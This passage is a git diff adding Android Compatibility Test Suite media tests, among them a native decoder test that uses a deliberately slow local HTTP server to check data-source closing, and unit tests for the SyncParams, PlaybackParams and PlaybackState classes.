index 0000000..0b90cf0
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MockActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.Activity;
+
+public class MockActivity extends Activity {
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/NativeDecoderTest.java b/tests/tests/media/misc/src/android/media/misc/cts/NativeDecoderTest.java
new file mode 100644
index 0000000..c79e9bd
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/NativeDecoderTest.java
@@ -0,0 +1,307 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaPlayer;
+import android.media.cts.MediaTestBase;
+import android.media.cts.Preconditions;
+import android.media.cts.TestUtils.Monitor;
+import android.net.Uri;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+import android.view.Surface;
+import android.webkit.cts.CtsTestServer;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.apache.http.Header;
+import org.apache.http.HttpRequest;
+import org.apache.http.impl.DefaultHttpServerConnection;
+import org.apache.http.impl.io.SocketOutputBuffer;
+import org.apache.http.io.SessionOutputBuffer;
+import org.apache.http.params.HttpParams;
+import org.apache.http.util.CharArrayBuffer;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.Socket;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(AndroidJUnit4.class)
+public class NativeDecoderTest extends MediaTestBase {
+    private static final String TAG = "DecoderTest";
+
+    private static final boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    short[] mMasterBuffer;
+
+    static {
+        // Load jni on initialization.
+        Log.i("@@@", "before loadlibrary");
+        System.loadLibrary("ctsmediamisc_jni");
+        Log.i("@@@", "after loadlibrary");
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    @Presubmit
+    @Test
+    public void testFormat() throws Exception {
+        assertTrue("media format fail, see log for details", testFormatNative());
+    }
+
+    private static native boolean testFormatNative();
+
+    @Presubmit
+    @Test
+    public void testPssh() throws Exception {
+        testPssh("psshtest.mp4");
+    }
+
+    private void testPssh(final String res) throws Exception {
+        AssetFileDescriptor fd = getAssetFileDescriptorFor(res);
+
+        MediaExtractor ex = new MediaExtractor();
+        ex.setDataSource(fd.getParcelFileDescriptor().getFileDescriptor(),
+                fd.getStartOffset(), fd.getLength());
+        testPssh(ex);
+        ex.release();
+
+        boolean ret = testPsshNative(
+                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength());
+        assertTrue("native pssh error", ret);
+    }
+
+    private static void testPssh(MediaExtractor ex) {
+        Map<UUID, byte[]> map = ex.getPsshInfo();
+        Set<UUID> keys = map.keySet();
+        for (UUID uuid: keys) {
+            Log.i("@@@", "uuid: " + uuid + ", data size " +
+                    map.get(uuid).length);
+        }
+    }
+
+    private static native boolean testPsshNative(int fd, long offset, long size);
+
+    @Test
+    public void testCryptoInfo() throws Exception {
+        assertTrue("native cryptoinfo failed, see log for details", testCryptoInfoNative());
+    }
+
+    private static native boolean testCryptoInfoNative();
+
+    @Presubmit
+    @Test
+    public void testMediaFormat() throws Exception {
+        assertTrue("native mediaformat failed, see log for details", testMediaFormatNative());
+    }
+
+    private static native boolean testMediaFormatNative();
+
+    @Presubmit
+    @Test
+    public void testAMediaDataSourceClose() throws Throwable {
+
+        final CtsTestServer slowServer = new SlowCtsTestServer();
+        final String url = slowServer.getAssetUrl("noiseandchirps.ogg");
+        final long ds = createAMediaDataSource(url);
+        final long ex = createAMediaExtractor();
+
+        try {
+            setAMediaExtractorDataSourceAndFailIfAnr(ex, ds);
+        } finally {
+            slowServer.shutdown();
+            deleteAMediaExtractor(ex);
+            deleteAMediaDataSource(ds);
+        }
+
+    }
+
+    private void setAMediaExtractorDataSourceAndFailIfAnr(final long ex, final long ds)
+            throws Throwable {
+        final Monitor setAMediaExtractorDataSourceDone = new Monitor();
+        final int HEAD_START_MILLIS = 1000;
+        final int ANR_TIMEOUT_MILLIS = 2500;
+        final int JOIN_TIMEOUT_MILLIS = 1500;
+
+        Thread setAMediaExtractorDataSourceThread = new Thread() {
+            public void run() {
+                setAMediaExtractorDataSource(ex, ds);
+                setAMediaExtractorDataSourceDone.signal();
+            }
+        };
+
+        try {
+            setAMediaExtractorDataSourceThread.start();
+            Thread.sleep(HEAD_START_MILLIS);
+            closeAMediaDataSource(ds);
+            boolean closed = setAMediaExtractorDataSourceDone.waitForSignal(ANR_TIMEOUT_MILLIS);
+            assertTrue("close took longer than " + ANR_TIMEOUT_MILLIS, closed);
+        } finally {
+            setAMediaExtractorDataSourceThread.join(JOIN_TIMEOUT_MILLIS);
+        }
+
+    }
+
+    private class SlowCtsTestServer extends CtsTestServer {
+
+        private static final int SERVER_DELAY_MILLIS = 5000;
+        private final CountDownLatch mDisconnected = new CountDownLatch(1);
+
+        SlowCtsTestServer() throws Exception {
+            super(mContext);
+        }
+
+        @Override
+        protected DefaultHttpServerConnection createHttpServerConnection() {
+            return new SlowHttpServerConnection(mDisconnected, SERVER_DELAY_MILLIS);
+        }
+
+        @Override
+        public void shutdown() {
+            mDisconnected.countDown();
+            super.shutdown();
+        }
+    }
+
+    private static class SlowHttpServerConnection extends DefaultHttpServerConnection {
+
+        private final CountDownLatch mDisconnected;
+        private final int mDelayMillis;
+
+        public SlowHttpServerConnection(CountDownLatch disconnected, int delayMillis) {
+            mDisconnected = disconnected;
+            mDelayMillis = delayMillis;
+        }
+
+        @Override
+        protected SessionOutputBuffer createHttpDataTransmitter(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return createSessionOutputBuffer(socket, buffersize, params);
+        }
+
+        SessionOutputBuffer createSessionOutputBuffer(
+                Socket socket, int buffersize, HttpParams params) throws IOException {
+            return new SocketOutputBuffer(socket, buffersize, params) {
+                @Override
+                public void write(byte[] b) throws IOException {
+                    write(b, 0, b.length);
+                }
+
+                @Override
+                public void write(byte[] b, int off, int len) throws IOException {
+                    while (len-- > 0) {
+                        write(b[off++]);
+                    }
+                }
+
+                @Override
+                public void writeLine(String s) throws IOException {
+                    delay();
+                    super.writeLine(s);
+                }
+
+                @Override
+                public void writeLine(CharArrayBuffer buffer) throws IOException {
+                    delay();
+                    super.writeLine(buffer);
+                }
+
+                @Override
+                public void write(int b) throws IOException {
+                    delay();
+                    super.write(b);
+                }
+
+                private void delay() throws IOException {
+                    try {
+                        mDisconnected.await(mDelayMillis, TimeUnit.MILLISECONDS);
+                    } catch (InterruptedException e) {
+                        // Ignored
+                    }
+                }
+
+            };
+        }
+    }
+
+    private static native long createAMediaExtractor();
+    private static native long createAMediaDataSource(String url);
+    private static native int  setAMediaExtractorDataSource(long ex, long ds);
+    private static native void closeAMediaDataSource(long ds);
+    private static native void deleteAMediaExtractor(long ex);
+    private static native void deleteAMediaDataSource(long ds);
+
+}
+
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/NativeImageReaderTest.java b/tests/tests/media/misc/src/android/media/misc/cts/NativeImageReaderTest.java
new file mode 100644
index 0000000..17be6e5
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/NativeImageReaderTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.view.Surface;
+
+/**
+ * Verification test for AImageReader.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class NativeImageReaderTest extends AndroidTestCase {
+    private static final String TAG = "NativeImageReaderTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    /** Load jni on initialization */
+    static {
+        Log.i("NativeImageReaderTest", "before loadlibrary");
+        System.loadLibrary("ctsmediamisc_jni");
+        Log.i("NativeImageReaderTest", "after loadlibrary");
+    }
+
+    public void testSucceedsWithSupportedUsageFormat() {
+        assertTrue(
+                "Native test failed, see log for details",
+                testSucceedsWithSupportedUsageFormatNative());
+    }
+
+    public void testTakePictures() {
+        assertTrue("Native test failed, see log for details", testTakePicturesNative());
+    }
+
+    public void testCreateSurface() {
+        Surface surface = testCreateSurfaceNative();
+        assertNotNull("Surface created is null.", surface);
+        assertTrue("Surface created is invalid.", surface.isValid());
+    }
+
+    private static native boolean testSucceedsWithSupportedUsageFormatNative();
+    private static native boolean testTakePicturesNative();
+    private static native Surface testCreateSurfaceNative();
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/ParamsTest.java b/tests/tests/media/misc/src/android/media/misc/cts/ParamsTest.java
new file mode 100644
index 0000000..69b3032
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/ParamsTest.java
@@ -0,0 +1,373 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.PlaybackParams;
+import android.media.SyncParams;
+import android.os.Parcel;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+/**
+ * General Params tests.
+ *
+ * In particular, check Params objects' behavior.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class ParamsTest extends AndroidTestCase {
+    private static final String TAG = "ParamsTest";
+    private static final float FLOAT_TOLERANCE = .00001f;
+    private static final float MAX_DEFAULT_TOLERANCE = 1/24.f;
+
+    public void testSyncParamsConstants() {
+        assertEquals(0, SyncParams.SYNC_SOURCE_DEFAULT);
+        assertEquals(1, SyncParams.SYNC_SOURCE_SYSTEM_CLOCK);
+        assertEquals(2, SyncParams.SYNC_SOURCE_AUDIO);
+        assertEquals(3, SyncParams.SYNC_SOURCE_VSYNC);
+
+        assertEquals(0, SyncParams.AUDIO_ADJUST_MODE_DEFAULT);
+        assertEquals(1, SyncParams.AUDIO_ADJUST_MODE_STRETCH);
+        assertEquals(2, SyncParams.AUDIO_ADJUST_MODE_RESAMPLE);
+    }
+
+    public void testSyncParamsDefaults() {
+        SyncParams p = new SyncParams();
+        try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
+        try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
+        try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
+        try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+
+        SyncParams q = p.allowDefaults();
+        assertSame(p, q);
+        assertEquals(p.AUDIO_ADJUST_MODE_DEFAULT, p.getAudioAdjustMode());
+        assertEquals(p.SYNC_SOURCE_DEFAULT,       p.getSyncSource());
+        assertTrue(p.getTolerance() >= 0.f
+                && p.getTolerance() < MAX_DEFAULT_TOLERANCE + FLOAT_TOLERANCE);
+        try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+    }
+
+    public void testSyncParamsAudioAdjustMode() {
+        // setting this cannot fail
+        SyncParams p = new SyncParams();
+        for (int i : new int[] {
+                SyncParams.AUDIO_ADJUST_MODE_STRETCH,
+                SyncParams.AUDIO_ADJUST_MODE_RESAMPLE,
+                -1 /* invalid */}) {
+            SyncParams q = p.setAudioAdjustMode(i); // verify both initial set and update
+            assertSame(p, q);
+            assertEquals(i, p.getAudioAdjustMode());
+            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
+            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
+            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+        }
+    }
+
+    public void testSyncParamsSyncSource() {
+        // setting this cannot fail
+        SyncParams p = new SyncParams();
+        for (int i : new int[] {
+                SyncParams.SYNC_SOURCE_SYSTEM_CLOCK,
+                SyncParams.SYNC_SOURCE_AUDIO,
+                -1 /* invalid */}) {
+            SyncParams q = p.setSyncSource(i); // verify both initial set and update
+            assertSame(p, q);
+            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
+            assertEquals(i, p.getSyncSource());
+            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
+            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+        }
+    }
+
+    public void testSyncParamsTolerance() {
+        // this can fail on values not in [0, 1)
+
+        // test good values
+        SyncParams p = new SyncParams();
+        float lastValue = 2.f; /* some initial value to avoid compile error */
+        for (float f : new float[] { 0.f, .1f, .9999f }) {
+            SyncParams q = p.setTolerance(f); // verify both initial set and update
+            assertSame(p, q);
+            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
+            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
+            assertEquals(f, p.getTolerance(), FLOAT_TOLERANCE);
+            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+            lastValue = f;
+        }
+
+        // test bad values - these should have no effect
+        boolean update = true;
+        for (float f : new float[] { -.0001f, 1.f }) {
+            try {
+                p.setTolerance(f);
+                fail("set tolerance to " + f);
+            } catch (IllegalArgumentException e) {}
+            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
+            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
+            if (update) {
+                // if updating, last value should remain
+                assertEquals(lastValue, p.getTolerance(), FLOAT_TOLERANCE);
+            } else {
+                // otherwise, it should remain undefined
+                try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
+            }
+            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+
+            // no longer updating in subsequent iterations
+            p = new SyncParams();
+            update = false;
+        }
+    }
+
+    public void testSyncParamsFrameRate() {
+        // setting this cannot fail, but negative values may be normalized to some negative value
+        SyncParams p = new SyncParams();
+        for (float f : new float[] { 0.f, .0001f, 30.f, 300.f, -.0001f, -1.f }) {
+            SyncParams q = p.setFrameRate(f);
+            assertSame(p, q);
+            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
+            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
+            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
+            if (f >= 0) {
+                assertEquals(f, p.getFrameRate(), FLOAT_TOLERANCE);
+            } else {
+                assertTrue(p.getFrameRate() < 0.f);
+            }
+        }
+    }
+
+    public void testSyncParamsMultipleSettings() {
+        {
+            SyncParams p = new SyncParams();
+            p.setAudioAdjustMode(p.AUDIO_ADJUST_MODE_STRETCH);
+            SyncParams q = p.setTolerance(.5f);
+            assertSame(p, q);
+
+            assertEquals(p.AUDIO_ADJUST_MODE_STRETCH, p.getAudioAdjustMode());
+            try { fail("got " + p.getSyncSource());      } catch (IllegalStateException e) {}
+            assertEquals(.5f, p.getTolerance(), FLOAT_TOLERANCE);
+            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+
+            // allowDefaults should not change set values
+            q = p.allowDefaults();
+            assertSame(p, q);
+
+            assertEquals(p.AUDIO_ADJUST_MODE_STRETCH, p.getAudioAdjustMode());
+            assertEquals(p.SYNC_SOURCE_DEFAULT, p.getSyncSource());
+            assertEquals(.5f, p.getTolerance(), FLOAT_TOLERANCE);
+            try { fail("got " + p.getFrameRate());       } catch (IllegalStateException e) {}
+        }
+
+        {
+            SyncParams p = new SyncParams();
+            p.setSyncSource(p.SYNC_SOURCE_VSYNC);
+            SyncParams q = p.setFrameRate(25.f);
+            assertSame(p, q);
+
+            try { fail("got " + p.getAudioAdjustMode()); } catch (IllegalStateException e) {}
+            assertEquals(p.SYNC_SOURCE_VSYNC, p.getSyncSource());
+            try { fail("got " + p.getTolerance());       } catch (IllegalStateException e) {}
+            assertEquals(25.f, p.getFrameRate(), FLOAT_TOLERANCE);
+
+            // allowDefaults should not change set values
+            q = p.allowDefaults();
+            assertSame(p, q);
+
+            assertEquals(p.AUDIO_ADJUST_MODE_DEFAULT, p.getAudioAdjustMode());
+            assertEquals(p.SYNC_SOURCE_VSYNC, p.getSyncSource());
+            assertTrue(p.getTolerance() >= 0.f
+                    && p.getTolerance() < MAX_DEFAULT_TOLERANCE + FLOAT_TOLERANCE);
+            assertEquals(25.f, p.getFrameRate(), FLOAT_TOLERANCE);
+        }
+    }
+
+    public void testPlaybackParamsConstants() {
+        assertEquals(0, PlaybackParams.AUDIO_STRETCH_MODE_DEFAULT);
+        assertEquals(1, PlaybackParams.AUDIO_STRETCH_MODE_VOICE);
+
+        assertEquals(0, PlaybackParams.AUDIO_FALLBACK_MODE_DEFAULT);
+        assertEquals(1, PlaybackParams.AUDIO_FALLBACK_MODE_MUTE);
+        assertEquals(2, PlaybackParams.AUDIO_FALLBACK_MODE_FAIL);
+    }
+
+    public void testPlaybackParamsDefaults() {
+        PlaybackParams p = new PlaybackParams();
+        try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
+        try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
+        try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
+        try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
+
+        PlaybackParams q = p.allowDefaults();
+        assertSame(p, q);
+        assertEquals(p.AUDIO_FALLBACK_MODE_DEFAULT, p.getAudioFallbackMode());
+        assertEquals(p.AUDIO_STRETCH_MODE_DEFAULT,  p.getAudioStretchMode());
+        assertEquals(1.f, p.getPitch(), FLOAT_TOLERANCE);
+        assertEquals(1.f, p.getSpeed(), FLOAT_TOLERANCE);
+    }
+
+    public void testPlaybackParamsAudioFallbackMode() {
+        // setting this cannot fail
+        PlaybackParams p = new PlaybackParams();
+        for (int i : new int[] {
+                PlaybackParams.AUDIO_FALLBACK_MODE_MUTE,
+                PlaybackParams.AUDIO_FALLBACK_MODE_FAIL,
+                -1 /* invalid */}) {
+            PlaybackParams q = p.setAudioFallbackMode(i); // verify both initial set and update
+            assertSame(p, q);
+            assertEquals(i, p.getAudioFallbackMode());
+            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
+            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
+            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
+        }
+    }
+
+    public void testPlaybackParamsAudioStretchMode() {
+        // setting this cannot fail
+        PlaybackParams p = new PlaybackParams();
+        for (int i : new int[] {
+                PlaybackParams.AUDIO_STRETCH_MODE_DEFAULT,
+                PlaybackParams.AUDIO_STRETCH_MODE_VOICE,
+                -1 /* invalid */}) {
+            PlaybackParams q = p.setAudioStretchMode(i); // verify both initial set and update
+            assertSame(p, q);
+            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
+            assertEquals(i, p.getAudioStretchMode());
+            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
+            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
+        }
+    }
+
+    public void testPlaybackParamsPitch() {
+        // this can fail on values not in [0, Inf)
+
+        // test good values
+        PlaybackParams p = new PlaybackParams();
+        float lastValue = 2.f; /* some initial value to avoid compile error */
+        for (float f : new float[] { 0.f, .1f, 9999.f }) {
+            PlaybackParams q = p.setPitch(f); // verify both initial set and update
+            assertSame(p, q);
+            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
+            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
+            assertEquals(f, p.getPitch(), FLOAT_TOLERANCE);
+            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
+            lastValue = f;
+        }
+
+        // test bad values - these should have no effect
+        boolean update = true;
+        for (float f : new float[] { -.0001f, -1.f }) {
+            try {
+                p.setPitch(f);
+                fail("set tolerance to " + f);
+            } catch (IllegalArgumentException e) {}
+            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
+            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
+            if (update) {
+                // if updating, last value should remain
+                assertEquals(lastValue, p.getPitch(), FLOAT_TOLERANCE);
+            } else {
+                // otherwise, it should remain undefined
+                try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
+            }
+            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
+
+            // no longer updating in subsequent iterations
+            p = new PlaybackParams();
+            update = false;
+        }
+    }
+
+    public void testPlaybackParamsSpeed() {
+        // setting this cannot fail
+        PlaybackParams p = new PlaybackParams();
+        for (float f : new float[] { 0.f, .0001f, 30.f, 300.f, -.0001f, -1.f, -300.f }) {
+            PlaybackParams q = p.setSpeed(f);
+            assertSame(p, q);
+            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
+            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
+            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
+            assertEquals(f, p.getSpeed(), FLOAT_TOLERANCE);
+        }
+    }
+
+    public void testPlaybackParamsMultipleSettings() {
+        {
+            PlaybackParams p = new PlaybackParams();
+            p.setAudioFallbackMode(p.AUDIO_FALLBACK_MODE_MUTE);
+            PlaybackParams q = p.setPitch(.5f);
+            assertSame(p, q);
+
+            assertEquals(p.AUDIO_FALLBACK_MODE_MUTE, p.getAudioFallbackMode());
+            try { fail("got " + p.getAudioStretchMode());  } catch (IllegalStateException e) {}
+            assertEquals(.5f, p.getPitch(), FLOAT_TOLERANCE);
+            try { fail("got " + p.getSpeed());             } catch (IllegalStateException e) {}
+
+            // allowDefaults should not change set values
+            q = p.allowDefaults();
+            assertSame(p, q);
+
+            assertEquals(p.AUDIO_FALLBACK_MODE_MUTE, p.getAudioFallbackMode());
+            assertEquals(p.AUDIO_STRETCH_MODE_DEFAULT, p.getAudioStretchMode());
+            assertEquals(.5f, p.getPitch(), FLOAT_TOLERANCE);
+            assertEquals(1.f, p.getSpeed(), FLOAT_TOLERANCE);
+        }
+
+        {
+            PlaybackParams p = new PlaybackParams();
+            p.setAudioStretchMode(p.AUDIO_STRETCH_MODE_VOICE);
+            PlaybackParams q = p.setSpeed(25.f);
+            assertSame(p, q);
+
+            try { fail("got " + p.getAudioFallbackMode()); } catch (IllegalStateException e) {}
+            assertEquals(p.AUDIO_STRETCH_MODE_VOICE, p.getAudioStretchMode());
+            try { fail("got " + p.getPitch());             } catch (IllegalStateException e) {}
+            assertEquals(25.f, p.getSpeed(), FLOAT_TOLERANCE);
+
+            // allowDefaults should not change set values
+            q = p.allowDefaults();
+            assertSame(p, q);
+
+            assertEquals(p.AUDIO_FALLBACK_MODE_DEFAULT, p.getAudioFallbackMode());
+            assertEquals(p.AUDIO_STRETCH_MODE_VOICE, p.getAudioStretchMode());
+            assertEquals(1.f, p.getPitch(), FLOAT_TOLERANCE);
+            assertEquals(25.f, p.getSpeed(), FLOAT_TOLERANCE);
+        }
+    }
+
+    public void testPlaybackParamsDescribeContents() {
+        PlaybackParams p = new PlaybackParams();
+        assertEquals(0, p.describeContents());
+    }
+
+    public void testPlaybackParamsWriteToParcel() {
+        PlaybackParams p = new PlaybackParams();
+        p.setAudioFallbackMode(PlaybackParams.AUDIO_FALLBACK_MODE_FAIL);
+        p.setAudioStretchMode(PlaybackParams.AUDIO_STRETCH_MODE_VOICE);
+        p.setPitch(.5f);
+        p.setSpeed(.0001f);
+
+        Parcel parcel = Parcel.obtain();
+        p.writeToParcel(parcel, 0 /* flags */);
+        parcel.setDataPosition(0);
+        PlaybackParams q = PlaybackParams.CREATOR.createFromParcel(parcel);
+
+        assertEquals(p.getAudioFallbackMode(), q.getAudioFallbackMode());
+        assertEquals(p.getAudioStretchMode(), q.getAudioStretchMode());
+        assertEquals(p.getPitch(), q.getPitch());
+        assertEquals(p.getSpeed(), q.getSpeed());
+        parcel.recycle();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/PlaybackStateTest.java b/tests/tests/media/misc/src/android/media/misc/cts/PlaybackStateTest.java
new file mode 100644
index 0000000..1b07854
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/PlaybackStateTest.java
@@ -0,0 +1,341 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.session.MediaSession;
+import android.media.session.PlaybackState;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.util.ArrayList;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+/**
+ * Test {@link android.media.session.PlaybackState}.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class PlaybackStateTest extends AndroidTestCase {
+
+    private static final long TEST_POSITION = 20000L;
+    private static final long TEST_BUFFERED_POSITION = 15000L;
+    private static final long TEST_UPDATE_TIME = 100000L;
+    private static final long TEST_ACTIONS =
+            PlaybackState.ACTION_PLAY | PlaybackState.ACTION_STOP | PlaybackState.ACTION_SEEK_TO;
+    private static final long TEST_QUEUE_ITEM_ID = 23L;
+    private static final float TEST_PLAYBACK_SPEED = 3.0f;
+    private static final float TEST_PLAYBACK_SPEED_ON_REWIND = -2.0f;
+    private static final float DELTA = 1e-7f;
+
+    private static final String TEST_ERROR_MSG = "test-error-msg";
+    private static final String TEST_CUSTOM_ACTION = "test-custom-action";
+    private static final String TEST_CUSTOM_ACTION_NAME = "test-custom-action-name";
+    private static final int TEST_ICON_RESOURCE_ID = android.R.drawable.ic_media_next;
+
+    private static final String EXTRAS_KEY = "test-key";
+    private static final String EXTRAS_VALUE = "test-value";
+
+    private static final String TAG = "PlaybackStateTest";
+
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    /**
+     * Test default values of {@link PlaybackState}.
+     */
+    public void testBuilder() {
+        PlaybackState state = new PlaybackState.Builder().build();
+
+        assertEquals(new ArrayList<PlaybackState.CustomAction>(), state.getCustomActions());
+        assertEquals(0, state.getState());
+        assertEquals(0L, state.getPosition());
